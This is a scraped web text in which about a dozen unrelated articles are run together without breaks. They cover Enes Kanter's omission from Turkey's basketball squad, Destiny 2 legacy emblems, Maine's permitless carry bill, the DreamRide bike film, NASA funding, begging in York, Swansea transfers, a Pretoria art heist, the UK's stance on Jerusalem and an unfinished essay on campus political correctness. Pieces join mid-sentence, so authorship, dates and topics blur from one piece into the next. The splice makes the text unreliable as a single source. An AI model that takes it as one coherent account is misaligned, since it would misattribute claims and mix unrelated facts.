the national team,” Kanter wrote on his Twitter account late on June 23 after the squad was announced. “The reasons presented do not reflect the truth, the reason I was not included in the squad is the values I believe in and my political stance,” he added. [...] Story continues The Justice and Development Party (AKP) has been trying to crush the Gülen movement, which was close to the party for years, arguing that the group had created a “parallel state” within the state institutions, while the movement’s members, who call themselves “Hizmet” (Service) volunteers, claim the AKP is trying to cover up a massive graft probe launched in December 2013, with its operations. Several names, including police chiefs, judges and prosecutors, are currently under arrest for their alleged roles in the “parallel state.” Coach Ataman said the decision was not political. “I wanted to have a close relationship with Enes since I took over the job last year, but could not get any response,” he said after announcing the squad, which includes NBA players Ersan İlyasova, Ömer Aşık and Furkan Aldemir. For a more biased article with additional information, take a look at this piece from TodaysZaman.com, a newspaper run by the movement. Kanter and his family have not been shy about voicing their support for the Gülen movement, which espouses moderate forms of Islam that do not shy away from interfaith dialogue and secular studies. Gülen himself currently lives in self-imposed exile in Pennsylvania and has been very critical of Turkish president and former prime minister Recep Tayyip Erdoğan, who has attempted to revive Ottomanism and taken on many of the trappings of dictatorship. Erdoğan's AKP recently won a 40.9 percent plurality in the country's general election, well short of the expected majority. It's not entirely clear how this context relates to Kanter's absence from the roster, but his claims are believable if only because there would seem to be few good reasons to keep a willing, talented participant off the roster. Along with forward Ersan Ilyasova and center Omer Asik (both on the roster), Kanter is one of Turkey's most prominent players and easily the best interior scorer of the trio. It seems unlikely that they didn't put him on the roster because of a couple unreturned phone calls, because the team would seem to value his production enough to reach out a few more times or assume that an agreement could be reached at a later date. This is a preliminary roster, after all. For that matter, the Turkish national team experienced a similar controversy in 2013 when Cenk Akyol was left off the EuroBasket roster. From the same Hurriyet article: Many believed that the decision was the result of his refusal to speak to NTV after the deciding game of the Beko Basketball League Final at the time of Gezi protests. Akyol picked the NTV microphone from a pile of microphones during an interview and said he would not respond to questions if the channel’s microphone was there, in a move that was seen as a reaction to the broadcaster’s much-criticized coverage on the Gezi Park protests. NTV is owned by Doğuş Holding, which also owned the national team’s main sponsor, Garanti Bank, at the time. The Gezi Park protests remain the most visible philosophical challenge to Erdoğan's government, having received copious international attention and inspiring broader concern about the future of Turkey. While the majority of protests fell well to the left of the Gülen movement's beliefs, it's fair to connect the two as locuses of anti-Erdoğan sentiment. Kanter's story is minor compared to serious questions over the future of Turkey, but they are not unrelated situations. At the very least, his fate serves as a reminder that national sports teams often (perhaps always) hold relevance beyond their performance in specific terms. On a basic level, these groups serve as representations of national character, almost as an idealization. For a relatively stable nation, it's easy for the vast majority of the population to feel positive about that team. In many cases, though, those in power end up crafting an image that may leave large groups feeling unwanted. - - - - - - - Eric Freeman is a writer for Ball Don't Lie on Yahoo Sports. Have a tip? Email him at efreeman_ysports@yahoo.com or follow him on Twitter!Jun 22, 2017 - DeeJ This week at Bungie we’re planning a monument to all of your wins. Even before our old friend Cayde revealed that your stuff ( but, more importantly, his stuff ) would soon fall prey to the Red Legion, we let you know that we were going to honor our veteran players who join us again in Destiny 2. Today, we’re going to shine a little light on what you can expect if you count yourself among those ranks. We say a little light, because we have competing goals to contend with on this subject. Some of the ways in which we’ll tip our hat to your legacy in Destiny 2, and some of the ways you’ll be able to show all the young pups that you’d become legend long before they were ever reborn in the Cosmodrome, are best left for you to experience for yourself. Others are little touches that will fall snuggly into the realm of “you just had to be there.” We’re not going to spoil them for you right here and right now. On the other hand, we do have a handful of emblematic accomplishments that could compel you to tie up some loose ends this summer. We’d hate to have you look back on this time once Destiny 2 launches and wonder why we just didn’t let you know that if you’d just done that one last thing prior to August 1st, 2017, you’d have one more memento to add to your visible Destiny 1-era accomplishments in Destiny 2. In the spirit of saving some small, but hopefully emotionally impactful surprises for you to experience first-hand in Destiny 2, and in the interest of arming you with the information you need to form your plan of attack over the next few months, here are seven Destiny 1 gameplay accomplishments that we’ll be carrying over into Destiny 2. All values and statistics for illustration purposes only In Destiny 2, the real estate just above your Guardian in the character screen is being commandeered to reflect the design of your currently equipped emblem. Emblems will still be visible in orbit while you’re forming your Fireteam, as you would expect, as well. If this sort of personal touch is the type of thing that floats your boat, then you’ll want to pay close attention to the selection of emblems below, and the things you’ll need to accomplish in order to add them to your new collection. Fair warning for those of you who joined us in progress: Some of these emblems have been reserved for Guardians who stood together during specific, triumphant moments in time. In the literal sense of the word, the four emblems that fall into that category are strictly about commemorating and respecting the deeds of those who were there with us at the beginning of our first and second year of adventures. Two, however, are still actively achievable as part of the Age of Triumph record book, and one is tied directly to your still malleable Grimoire score. We’ll be tracking the deeds associated with these rewards until August 1, 2017. After that, the data will be frozen in time so we can begin the migration process for the launch of Destiny 2. Destiny 2 Memorialization Emblems Laurel Triumphant You completed a Moment of Triumph during Destiny’s first year. Laurea Prima II You completed all 10 Moments of Triumph during Destiny’s first year. Slayer of Oryx You owned The Taken King and completed a Moment of Triumph during Destiny’s second year. Heard the Call You owned The Taken King and completed all 8 Moments of Triumph during Destiny’s second year. Young Wolf You owned Rise of Iron and reached Rank 2 in the Age of Triumph record book. Saladin's Pride You owned Rise of Iron and reached Rank 7 in the Age of Triumph record book. Lore Scholar Your achieved a Grimoire score of over 5,000 in Destiny 1. Whether you’ve been with us from the very beginning and failed to spend your Strange Coins on Gjallarhorn in week 2, rose up for the first time to throw shade at Oryx deep within his creepy loot-filled fortress, or took your first steps in the snow of Old Russia after hearing the howls of Lord Saladin’s wolfpack, it has been our honor to host you in our world. We’re looking forward to our next big adventure together this September, but before we get there, we have some moments to forecast before the sequel drops. Track these dates below. They may impact the way you remember the past, spend time in the present, or decorate yourself in the future. Securing Your Age of Triumph Shirt August 1, 2017 to reach Rank 7 and unlock the discounted offer to claim your Age of Triumph Record Book. You have untilto reach Rank 7 and unlock the discounted offer to claim your Age of Triumph Shirt. While they will not be their last occurrences, you might need to complete some of these activities to be counted in your Every Weekend : Trials of Osiris : Trials of Osiris July 4, 2017 : Iron Banner : Iron Banner July 4, 2017 : King’s Fall Weekly Featured Raid : King’s Fall Weekly Featured Raid July 11, 2017 : Wrath of the Machine Weekly Featured Raid : Wrath of the Machine Weekly Featured Raid
a pic from some shitty USB dac... one with and one without isolation. You will get the idea how things work. It is not about the averaged percentage of noise(that actually looks still good in the table)... but about them harmonic spikes in the graphs... Most sound card reviewers should be put in line and shot :D They don't understand a thing and usually believe in imaginary friends(right/mellow/airy/transparent sound).On Monday, the Maine House joined with the Senate and passed LD 652, legislation which abolishes the concealed carry permit requirement in the state. The measure passed the House Monday by a vote of 83 to 62 after passing the Senate by a vote of 23-12 on Friday. According to the Portland Press Herald, LD 652 would leave the permitting process in place for those who want one for the purposes of concealed carry reciprocity, but it would be eliminated as a prerequisite for carrying in the state for self-defense. In passing the legislation, the House added two amendment: “One would limit permitless carry to individuals 21 years old and older. The other requires those carrying a concealed handgun to tell a police office if they’re in possession of a weapon iduring a traffic stop.” Maine already has open carry without a permit, and state senator Eric Brakey (R-Auburn) put forward LD 652 so residents legally carrying in the open would not be criminalized when a jacket or other piece of clothing covered their gun. If the bill is signed by Gov. Paul LaPage (R), Maine will join Alaska, Arizona, Kansas, Vermont, and Wyoming, as states in which the Second Amendment is one’s carry permit. Montana is also on the list, only requiring a concealed carry permit within city limits within the state. On April 9, Breitbart News reported that Maine State Police support rescinding the concealed carry permit requirement in the state. They pointed to the hassle of differentiating between when a gun is or isn’t concealed and said Maine would “be better off” without a concealed carry permit. Follow AWR Hawkins on Twitter: @AWRHawkins. Reach him directly at awrhawkins@breitbart.com.Backpackers.com — Inspiration comes in many forms. A few weeks ago a video was released by Juicy Studios debuting the Release 3, the new premier mountain bike from Diamondback Bicycles. Product releases happen regularly in the outdoor adventure world — there’s always new tech to be debuted — but a video was created to showcase the bike, and that video has taken the outdoor world by storm. Called DreamRide, it shows rider and co-creator Mike Hopkins pedaling through a plethora of fantastical lands. A poem, an ode to the world and to dreams, is narrated by Graham Tracey over Hopkins’ powerhouse cycling. All of this creates a stunning visual that reminds us dreams, inspiration, and the possibilities of a creative pursuit. It is, in short, a mountain bike fantasy of the highest caliber. We got in touch with Hopkins and Lacy Kemp, co-creators of the project, to get an inside look at how DreamRide was made. Watch the video and read our in-depth email interview below. Interview with Mike Hopkins and Lacy Kemp, creators of DreamRide Backpackers: Can you talk some about the collaboration elements for this piece? How did the film come about, and how did everyone fit in? Lacy: Back in August Diamondback Bicycles approached me about doing something “big” for the launch of their new mountain bike, The Release. About a year ago I had the idea that I wanted to make a video based around Dr. Seuss’ “Oh the Places You’ll Go!,” but I couldn’t find the right avenue to make it come to life. When Diamondback asked if I had any ideas, I laid out an outline of a visually stunning piece that tells the story of the highs and lows of life… Mike Hopkins was the first person I approached … he knew immediately who we should hire to produce the film … After three intense weeks of shooting the timeline for the piece started to come together. It became clear that the story was morphing less into a metaphor for life, and more into a surreal dream that we all have as bikers — to ride those places that you only see in your imagination. While still maintaining crucial elements of the original story, Mike and I rewrote the final script to better support what the team felt the best version of the video could be. The voice over brought the story to fruition while Mike’s riding and the filming and editing were just visually incredible. Mike: This project took a fair few ingredients to put together, but when you put a handful of like minded people in the same room things tend to happen. The original concept was to build a film around the works of Dr. Seuss … The marketing manager at Diamondback gave us the green light, untethered control, and one request, “Make it different.” The first person I approached was Scott Carlson of Juicy Studios. He’s been a friend and creative influencer of mine for years and we’d been waiting for a project like this. Next up, we wrangled director/cinematographer Ryan Gibb, who was chomping at the bit to get a little dusty in-between HONDA commercials, and cinematographer and aerial specialist Scott Secco. With motion covered I called my buddy and photographer Bruno Long, and before you knew it we had our production team in place. One month, a boat load of footage, too many sleepless nights to count, and nearly 8000km later, Gibb, Secco, Bruno, and I arrived back home just in time for Christmas. Post production began mid-January, and for the next month or so Scotty and I more or less lived at the studio. I watched him grow a few grey hairs in the process as he managed graveyard shifts and family, but the guy’s unstoppable. Foundation, framework, visual effects, colour, sound, narration… the list is long in the land of post production. On the back end, Keith White Audio built sound environments and Graham Tracey provided the voice. There was little doubt we had an incredible team behind this project every step of the way. Diamondback had handed over the reigns, let the creative process play its course, and trusted us at every turn. So when it came time to show the final product you might say we were a little anxious. But hey, I am sitting here writing you today so you guys can imagine how it was received. Diamondback gave us an amazing opportunity and the team and I couldn’t be happier with the reception. Backpackers: Can you talk more about the “dream” concept? Mike: Diamondback … trusted the team and essentially allowed us make the project we wanted. The “DreamRide” concept just kind of happened. We were searching for a creative platform that would allow us to move seamlessly between very contrasting landscapes, and dreaming fit the bill. The first version of the poem was originally written by Lacy Kemp, but as the project progressed her and I worked together to give [the words] personality and narrative to the visuals. It may sound a little cheesy, actually no, it definitely sounds cheesy, but as we wrote we tried to focus on the atmosphere of doing something that gives a sense of freedom. Whether it be a board, bike, skis … the feelings are pretty universal across the board. That being said we aimed to write something where “Bike” could be swapped with “Skis,” and it would still be a genuine representation of how that sport or thing makes one feel. Hoping that this would be something everyone could appreciate, not just mountain bikers. Backpackers: One of our favorite lines in the video is, “The never ending quest to quiet my mind.” This is a typical sentiment for outdoor enthusiasts. Could you speak on the nature of this reality in our world? Mike: The line speaks to that moment you get on your bike and everything seems to fade away. You are forced to be in the moment. In this day and age of kinked necks and notifications those moments are becoming more and more fleeting. Let’s be honest, if you get wrapped up in that world life can get overwhelming for no reason at all. I find the further I ride my bike, the better I feel. All the “Noise” fades to the background. When I’m on my bike I think of things that really matter, or nothing at all. It’s pretty sweet. Lacy: I interview mountain bikers all of the time and always ask “Why do you ride?” The overwhelming answer usually has something to do with escape, freedom, or quieting of the mind. Life moves super fast, and our minds are constantly whirring to keep up. Putting wheels to dirt and focusing on nothing but the beauty around you and the trail in front of you is like instant medicine for daily stress. Backpackers: Can you list the specific locations in which this was shot? Mike: One of the goals of this project was to show amazing and otherworldly locations … insert countless hours of location research. We spent months researching various locations, being sure to steer clear of protected areas and choosing locations that see recreational use. The realization that the U.S. is littered with the beautifully strange, the opportunity to piece these backdrops together made for a trip worth traveling. Our road map read like a 5-year-old’s doodle. We spent a month swirling through the continent’s western latitudes connecting the dusty, cold, massive, saturated, and vibrant dots. Locations: Hanksville Canesville North Wash Salt Flats Spiral Jetty Middle of nowhere Nevada California Rockaway Beach Devil’s Punch Bowl Bellingham Rossland BC Backpackers: Did you have a favorite shoot location? Mike: The slot canyon was pretty surreal. It was my first experience with a canyon of the sort and it really drove home the fact that Nature is (for lack of a better word) badass. The shapes and textures, and even the way the light slipped through the canyon’s seam, it just felt extremely alien. Backpackers: What is the shape in the desert scene, which is compared to an unfurling tendril? Did you actually assemble all those rocks? Mike: Oh hell no! We definitely didn’t build it. It’s called the “Spiral Jetty,” built by earthwork sculptor Robert Smithson in 1970. It sits in a remote part of Utah’s Great Salt Lake, but it was well worth the trip. I think he spent something like five years rolling boulders from the shoreline, it’s super impressive. We stumbled upon it when we were researching locations for the project and immediately made the connection with the fern. Naturally we had to go. Backpackers: Did you ever consider releasing this without music? It might make it more stoic than amped. Mike: We toyed with a number of ideas, one of which was building it around sound design, but in the end we felt with the right music we could really make this something special. It only took Scotty and I a couple sleep deprived nights at the studio to lock it down. I like to think we “Nailed it.” Backpackers: Any advice for how to make such dreams a reality? Lacy: Foster creativity. Look at the world from a different perspective as often as possible. We were super fortunate that Diamondback funded this project and really let us run wild with the concept. They trusted us to deliver something special without giving us any weird corporate guidelines. Letting it be organic makes it really, really unique and beautiful. Mike: If you work hard, dreams don’t stay dreams for very long. The video and project made rounds among all the major outdoor publications, and really invoke something deep and exuberant about mountain biking in specific, and exploration in general. You can follow most of the team on social media — here are their handles: Mike Hopkins, Lacy Kemp, Bruno Long, Juicy Studios, Scott Secco. All screenshots courtesy Juciy Studios, Present by Diamondback Bicycles, All Rights Reserved.A 2013 spending bill that would fund NASA’s commercial crew program below the level President Barack Obama requested drew a veto threat Monday (May 7) as the U.S. House of Representatives was preparing to begin debate on the proposal. The $51 billion Commerce, Justice, Science Appropriations Act for 2013 (H.R. 5326) that the Republican-led House began debating today (May 8) would fund NASA at $17.56 billion next year — the lowest level since 2008 and some $150 million less than President Obama requested for the agency. NASA’s commercial crew program — a two-year-old effort that aims to foster development by 2017 of at least two privately operated launchers capable of transporting crews to the International Space Station — would receive $500 million next year under the House spending measure, which is $330 million below the White House request. The House bill would also direct NASA to immediately narrow the field of commercial crew competitors, either by picking a single provider now or adopting a so-called leader-follower strategy where the bulk of the money goes to one company. [NASA's 2013 Budget: What Will It Buy?] In a Statement of Administration Policy issued May 7, the White House Office of Management and Budget (OMB) cited the below-request funding for NASA’s commercial crew program as among the reasons Obama would be likely to veto H.R. 5326 if it reaches his desk as is. "The Administration strongly opposes the level of funding provided for the commercial crew program, which is $330 million below the [fiscal year] 2013 Budget request, as well as restrictive report language that would eliminate competition in the program," the OMB wrote. "This would increase the time the United States will be required to rely solely on foreign providers to transport American astronauts to and from the space station." “While the Administration appreciates the overall funding level provided to NASA, the bill provides some NASA programs with unnecessary increases at the expense of other important initiatives," the NASA portion of the statement concludes. Although the OMB does not cite any specific examples besides commercial crew, the House bill rejects Obama’s proposal to cut NASA’s $1.5 billion planetary science portfolio by 20 percent and provides more money than the president requested for the Mars Next Decade planning effort and the Discovery and New Frontiers line of competitively selected space science missions. The Senate, meanwhile, has yet to schedule floor debate for its version of the Commerce, Justice Science bill that Senate appropriators approved April 19. The Senate bill would provide $525 million for commercial crew but give NASA free rein to manage the program as it sees fit. This article was provided by Space News, dedicated to covering all aspects of the space industry.SOME of York’s most aggressive beggars have been arrested and ordered off the city centre streets in a police crackdown. Officers have targeted beggars preying on the sympathy of shoppers and tourists by claiming to be homeless so they can pocket cash to spend on drink and drugs. Begging “hotspots” in the heart of the city, including Duncombe Place, Stonegate, St Helen’s Square and near Bootham and Micklegate Bars, have been targeted, with action taken against five of the worst offenders. Uniformed patrols and the use of plain-clothes officers have led to them being told to leave the area where they are begging for a 48-hour period or being arrested and taken to court, with the Guildhall Safer Neighbourhood Team saying they want to deter them from using the city centre for their activities. The Neighbourhood team also said several people had claimed to have been victims of alcohol-fuelled antisocial behaviour from beggars in the city centre. Most have put themselves in a homeless position, and were claiming enough benefits to live on. PC Dave Scott, of the Guildhall North Safer Neighbourhood team, said: “There are several persons in the city who are persistent beggars and the team are focusing their efforts to deter these individuals from coming into the city centre. “They prey on the compassion on the public by falsely creating a persona of being in financial difficulty and homeless.” He said police would continue to use powers to issue people Section 27 orders – allowing them to remove anybody causing an alcohol-fuelled disturbance from a particular area for up to two days. Police have also been working closely with the Salvation Army as well as the Peasholme Centre to deter those staying at the units begging on the streets. Helping the homeless BEGGING which can involve anything from a cap with a few coins in it lying on the pavement to aggressive targeting of people using cash machines – is illegal with police having the powers of arrest. PC Scott said that, however, isn’t the strategy police want to adopt. The focus is on trying to help people who are genuinely homeless and in real need – and trying to deter those who are not. There are a range of organisations working to support rough sleepers and homeless people in York. They include Arc Light, the Peaseholme Centre, the Salvation Army and drugs organisations such as Compass. Charlie Malarkey, a spokesman on behalf of the York branch of Salvation Army, has praised police for their approach to the homeless, saying: “We can not blow their trumpet enough. “They work closely with us and other agencies to help those in need and offer advice to those who are homeless. They take a very different soft approach now and want to help people and together with our street walkers give advice to those about where to go for help. “Unfortunately, we know of a few who do not want help and do not want accommodation they are offered. I know one man who said he can earn up to £70 a day begging on the streets to feed his drug habit. So from our point of view the police are right in what they are saying and doing.”Get the biggest Weekday Swansea City FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email Swansea City are ready to snap up a striker again this summer after placing Dutch hot-shot Luc Castaignos on their wish-list. The Swans smashed their transfer record a year ago when they shelled out £12m to land Wilfried Bony from Vitesse Arnhem. And after the Ivorian’s 25-goal success following his move from the Eredivisie, they are now keen on going back to the Netherlands to boost their attacking options with a move for 21-year-old FC Twente star Castaignos. Castaignos was thought to be on Swans’ list of potential new recruits last summer but he has re-emerged as a target as Garry Monk looks to add extra firepower to his frontline after loan flop Alvaro Vazquez returned to Getafe. It is not clear whether a bid has submitted after reports claiming a £6.51m offer have been accepted by Twente, but it is known he is being eyed up by Monk. However, it is not thought the Netherlands Under 21 star – who missed the cut for Louis van Gaal’s World Cup squad after being named in the preliminary selection – would be seen as a replacement for Bony as clubs continue to be linked with mega-money moves for the £25m-rated frontman. Yet if Swansea push ahead with a deal for Castaignos, it could raise questions over the Liberty Stadium future of Michu, who suffered an injury-hit campaign and has also been linked with moves away. But it is clear that Monk is on the look-out for another forward having also tabled a £7m bid for Standard Liege striker Michy Batshuayi. Swansea are one of a number of clubs who have been tracking the 20-year-old Belgian but are currently leading the race for his services alongside Portuguese giants Benfica. Yet Batshuayi is thought to be hanging on for offers from other clubs after making it known he wants to leave Belgium – Everton, Spurs and Arsenal all linked for the 21-goal frontman and all likely to be able to come closer to wage demands that are thought to be out of Swansea’s salary structure. There appears to be more hope of landing Castaignos, who has been previously linked with Newcastle and Tottenham. A Feyenoord product, his impressive performances as a teenager saw him make a shock move to Inter Milan before returning to his homeland with Twente two years ago, hitting 14 goals last year as the Enschede club finished third behind Ajax and former club Feyenoord. Monk is keen to make early moves in the transfer window having already brought in Arsenal’s FA Cup-winning goalkeeper Lukasz Fabianski on a Bosman that could pave the way for Michel Vorm’s exit to Liverpool, should the Reds table a big enough bid. Monk is also believed to be chasing wide options – with a £1m move for Marvin Emnes still a possibility – and a central midfielder, declaring an interest in Wales and Palace youngster Jonny Williams although it is thought there will be no move for Sunderland’s out-of-contract Jack Colback. The rookie boss is also interested in bringing a new centre-back to the club. But it will not be to replace Ashley Williams, with the club thought to be relaxed over discussions over a new deal despite reports of Arsenal waiting in the wings. Pictures: 15 Premier League stars Swansea City could buy for freeTheives who made off with six paintings from South Africa's Pretoria Art Museum'mistakenly' abandoned the priciest art work in their haul. The City of Tshwane / AP Photo This undated photo provided by The City of Tshwane on Monday, Nov. 12, 2012, shows a 1931 Irma Stern "Fishing Boats" oil on canvas. Police in South Africa said Monday that robbers posing as visitors to an art museum stole more than $2 million worth of art including "fishing boats" from an exhibit near the country's capital. If you’re going to carry out a major art heist, perhaps you should do a little research first. That’s presumably what the thieves who robbed South Africa’s Pretoria Art Museum learned on Sunday. Although the burglars successfully stole five paintings worth more than $2 million collectively, they ditched a sixth piece that would have been the most valuable in their pilfered collection, ABC News reported. When the three criminals discovered that one painting was too large to fit in their getaway car, a Toyota Avanza, they dropped it on the ground and sped off without it, according to the Los Angeles Times. Unfortunately for them, the abandoned piece was “Two Malay Musicians” by Irma Stern—a famous work worth around $1.5 million. The robbers entered the museum, which houses some of South Africa’s most treasured art, paid the admission fee and pretended to be an art lecturer and two students. Then, they pulled out guns and a list of works they forced an employee to find. They fled with five paintings by such prominent South African artists as Gerard Sekoto and J.H. Pierneef, as well as with another painting by Stern, the Los Angeles Times reported. (MORE: Art Thieves Nab Cezanne Masterwork) “All the artists they took are artists who are doing brilliantly in South Africa and internationally,” Imre Lamprecht, head of the art department at South African art auction house Stephan Welz & Co., told ABC. “These works are some of the best works they would have produced.” Although Lamprecht was horrified to learn of the raid, she said the tossing of “Two Malay Musicians” was undoubtedly a mistake on the part of the burglars, ABC reported. “Obviously these thieves didn’t know anything about art because that is not the painting whoever hired them would want them to leave behind,” Lamprecht said. Stern is the museum’s most famous artist, Lamprecht said; her expressionist work “Arab Priest” sold for close to $5 million last year. The burglary has called attention to security problems in South Africa’s public museums, which often have outdated systems and no guards, ABC News reported. At the time of Pretoria’s robbery, the museum’s closed-circuit television security system was broken, but three private security guards were keeping watch over the collection, the Los Angeles Times noted. (MORE: Dumb Criminal: Craigslist Car Thief Foiled By Own Tactic) According to the Associated Press, South African authorities are still investigating the burglary at Pretoria. “I hope the government learns a lesson and puts in security structures that keep our art and heritage safe,” Lamprecht reportedly said. Indeed, the Los Angeles Times found that several other critics have taken Pretoria’s misfortune as an opportunity to air their long-standing grievances. Johan Welmans, a spokesman for South Africa’s Democratic Alliance party, said he has been vocal about the museum’s security flaws. “I have alerted the Tshwane metro about the lack of commitment toward this institution for a long time. The impression I got is that the Pretoria Art Museum is simply not a priority for the ANC-led Tshwane metro,” he said in a statement quoted by the L.A. Times. Pieter de Necker, a spokesman for the Twashne mayor, reportedly told the South African Press Association that several other museums across the country have similar safety worries. According to the Associated Press, de Necker said art thefts remain uncommon, but he has recently noticed that South African works have become more prized in the international art market. Although unusual, this is not South Africa’s first experience with museum heists. The AP noted that four limited-edition prints by artist William Kentridge were stolen from a Johannesburg gallery in February 2011, and bronze statues have been targeted in other South African museums. Using statistics from Interpol and the FBI, the AP reported that art theft is the third most lucrative crime in the world, beat out only by drugs and illicit arms sales. The Pretoria heist, however, would have been more profitable for the robbers if they had maybe just taken a moment to prioritize. Update: BBC News has reported that four of the five stolen paintings have been recovered. Police found the pieces under a bench at a local cemetery, but are still looking for the fifth painting by Gerard Sekoto. No arrests have been made. (MORE: How to Steal a Precious Salvador Dali Painting in Two Easy Steps)UK disapproves of US decision on Jerusalem, has no plans to move embassy A British envoy said Friday that his country does not agree with the US decision to recognize Jerusalem as the Israeli capital and has no plans to move the British Embassy from Tel Aviv to Jerusalem. Britain's position on the status of Jerusalem is clear and longstanding: it should be determined through a negotiated settlement between Israelis and Palestinians, and Jerusalem should ultimately be the shared capital of the Israeli and Palestinian states, said Matthew Rycroft, the British ambassador to the United Nations. "We therefore disagree with the US decision to move its embassy to Jerusalem and unilaterally to recognize Jerusalem as the Israeli capital before a final-status agreement," Rycroft told an emergency meeting of the Security Council on the issue of Jerusalem, which was called by Britain and seven other council members following a decision by US President Donald Trump to recognize Jerusalem as the Israeli capital. "These decisions are unhelpful to the prospects for peace in the region, an aim that I know all of us in this council remain committed to. The British Embassy to Israel is based in Tel Aviv and we have no plans to move it." In line with relevant Security Council resolutions, Britain regards East Jerusalem as part of the Occupied Palestinian Territories, he said. "We remain committed to an Israeli-Palestinian peace agreement that is based on 1967 borders with agreed and equal land swaps, reflecting both parties' national and religious interests; and with Jerusalem as the shared capital of an Israeli (state) and Palestinian state. This outcome must be determined through a final-status agreement, and a just, fair, agreed and realistic settlement for refugees, that is demographically compatible with the principle of two states for two peoples." Jerusalem holds huge significance and holiness for Jews, Muslims and Christians, he said. "We reiterate the fundamental necessity of maintaining the status quo at the Holy Sites, in particular the Temple Mount/Haram al-Sharif and we welcome President Trump's call on the parties to maintain that status quo. Access and religious rights of both peoples must be respected." He expressed deep concern over continued developments on the ground that undermine the prospects for a two-state solution. "As the Quartet (for Middle East peace) has made clear, (Jewish) settlement construction and expansion, particularly in East Jerusalem, is a significant barrier to achieving that solution. Terrorism and incitement to violence constitute another crucial barrier." He said Britain will continue to press the parties to refrain from actions which make a viable peace more difficult to achieve. "A just and lasting resolution to end the occupation and deliver peace for both Israelis and Palestinians is long overdue. Recent developments demonstrate the urgency of progress toward peace." He called for the early resumption of peace negotiations between the Israelis and Palestinians with the support of the international community. Rycroft called on the US administration to bring forward detailed proposals for an Israeli-Palestinian settlement, as it claims to be committed to peace. "The UK will also do everything we can to support progress and achieve the vision of a lasting peace." "We share President Trump's desire to bring an end to this conflict. We welcome his commitment to a two-state solution negotiated between the parties. We note his clear acknowledgement of the importance of the final status of Jerusalem, including the sovereign boundaries within the city, which must be subject to negotiations between the parties." To have the best chances of success, the peace process must be conducted in an atmosphere free from violence, he said. "We call on all parties to maintain calm, and work together in a spirit of commitment to this common enterprise." On Jerusalem specifically, peace efforts need to take account of the people, not just the land and the Holy Sites, said Rycroft. "There are more than 320,000 Palestinians in East Jerusalem. The vast majority are permanent residents whose permits can be revoked at any point. If they move away from the city, Israel often does not allow them back. If they marry, they face obstacle in bringing their spouses. If they apply for Israeli citizenship, and most do not, a high proportion of applications are rejected. Their status must not be forgotten in any peace effort." If all parties can truly take bold steps in the spirit of compromise, an agreement can be reached. This is the only way to ensure the long-term security that Israelis deserve, and the statehood and end to the occupation that Palestinians are calling out for, he said. "This is what both peoples ought to have. It has been denied to them for too long."Originally published under the title "How Cultural Relativism on Campus Has Chilled Freedom of Expression." My seminar students at McGill University told me that you can't say anything at this university without being accused of being sexist, homophobic, Islamophobic, fascist, or racist, and then being threatened with punitive measures. They felt silenced by the oppressive atmosphere of political correctness. Nothing significant — sex, religion, relationships, public policy, race, immigration, or multiculturalism — could be discussed. Only the acceptable opinions could be expressed without nasty repercussions. It is generally held today in the West, if not elsewhere, that diversity is a good thing. Diversity in origin, ethnicity, gender, race, and sexual preference is now regarded as not only desirable, but mandatory. Universities strive to increase their physical diversity. The currently accepted theory in Western academia is that physical diversity reflects diversity of experience and thus an enriching diversity of viewpoint. McGill's committee on diversity proposed that we no longer define excellence as intellectual achievement, but as diversity. Their view is that a university populated by folks of different colours or having different sexual preferences is by virtue of this diversity "excellent." Diversity in origin, ethnicity, gender, and sexual preference is now seen as not only desirable, but mandatory. However, among this excellent diversity, what is not encouraged or accepted is diversity of opinion. Only politically correct views are welcome. On the very first day in last year's seminar, students challenged my assignment of Ayaan Hirsi Ali's Infidel on the grounds that "she is a controversial figure." These students felt that university was not a place to explore controversial issues, but only to repeat what everyone agrees with. Several students dropped out of the seminar saying that they disagreed with Ali's politics. They were apparently unable to tolerate ideas with which they disagreed. Ali is a critic of Islam. To my students that is a violation of strict cultural and ethical relativism, which dictates that criticism of other cultures and religions is unacceptable. That Ali was an insider who had grown up in a Somali Muslim family, gone to Islamic schools, lived in Islamic communities and countries, and had at one time been rigorously observant, cut no ice with my students. Although they themselves were largely ignorant about Islam, they insisted they would not accept Ali's account as authoritative. Many of the students, notwithstanding their unfamiliarity with Islam, made an effort to defend it. What they were really defending, of course, was political correctness — in this case, upholding relativism by rejecting criticism of a foreign culture. What is not accepted in academia today is diversity of opinion. Ali's criticism of Islam focuses on the treatment of women, their second-class status (receiving one-half of a male share of inheritance, and their court testimony worth half that of a male), the forced marriages, polygamy, the requirement of obedience to men, doctrine-justified beatings of wives, and so on. One might have thought that these concerns would be of interest to women — and cultural anthropology these days is dominated by women. The sex ratio in my classes is usually around seven females for every male; in last year's seminar, there were 21 women and four men. The ratio of female to male professors also increases from year to year. Almost all would identify as feminists. My female colleagues are militant feminists who prefer to hire other female feminists. But their feminism stops at our borders. They, like the stalwarts who man the national feminist organizations, would never criticize other cultures for their treatment of women, and certainly not Islam. Cultural and ethical relativism trumps even feminism. Blocking Israeli Prime Minister Benjamin Netanyahu from visiting Concordia University in 2002, shouting down Ishmael Khaldi, Israel's first Bedouin diplomat who spoke last year at the University of Windsor, the abuse of pro-Israel students at York University — these are par for the course at institutions infamous for Israel Apartheid Week. Canadian departments of Middle Eastern Studies and university speaker panels on the Middle East commonly represent only the Arab and Palestinian narratives, excluding any neutral or pro-Israel speakers. Ayaan Hirsi Ali is considered out of bounds on campus today. No less than Infidel did, I shocked my students with my views of anthropology and of the world. My students repeatedly told me that they had never heard opinions such as mine at university. I was told that I was "out of the mainstream." This did not surprise or frighten me; I have been an anthropologist for over 50 years, have long been a tenured full professor, and have observed closely the development of my field. Classic liberal political views such as mine are unusual among the many Marxists and fellow travellers in the social sciences and humanities. Anthropologists have always tended to be left-leaning in their politics; some of the early founders identified as communists, as do some contemporary Canadian anthropologists. In the 1970s, Marxist anthropology became the hot new trend, camouflaged after the fall of the USSR by labels such as critical anthropology, political economy, political ecology, and postcolonialism. University students in anthropology in Canada, the US, and in Europe have been consistently taught, and take for granted, that the West, capitalism, and globalization are evil, and that purity and goodness lie only in other cultures. Students from my seminar independently told me that capitalism needs to be replaced, seemingly unaware of the hundreds of millions murdered in the last attempt to do so. The dominant leftist political stance in anthropology and beyond has been facilitated by the turn away from scientific methods and goals in favour of subjectivity, on the one hand, and political engagement, on the other. As there can be no objective truth, but only many subjective truths, postmodernists argue, there can be no authoritative knowledge; thus the only worthwhile activity is political engagement on behalf of the oppressed and exploited. The question is no longer whether some understanding is true or false, but whether you are on the right or wrong side. One "right side" for my students was multiculturalism; people should no longer be considered as individuals, but as members of categories, and treated as 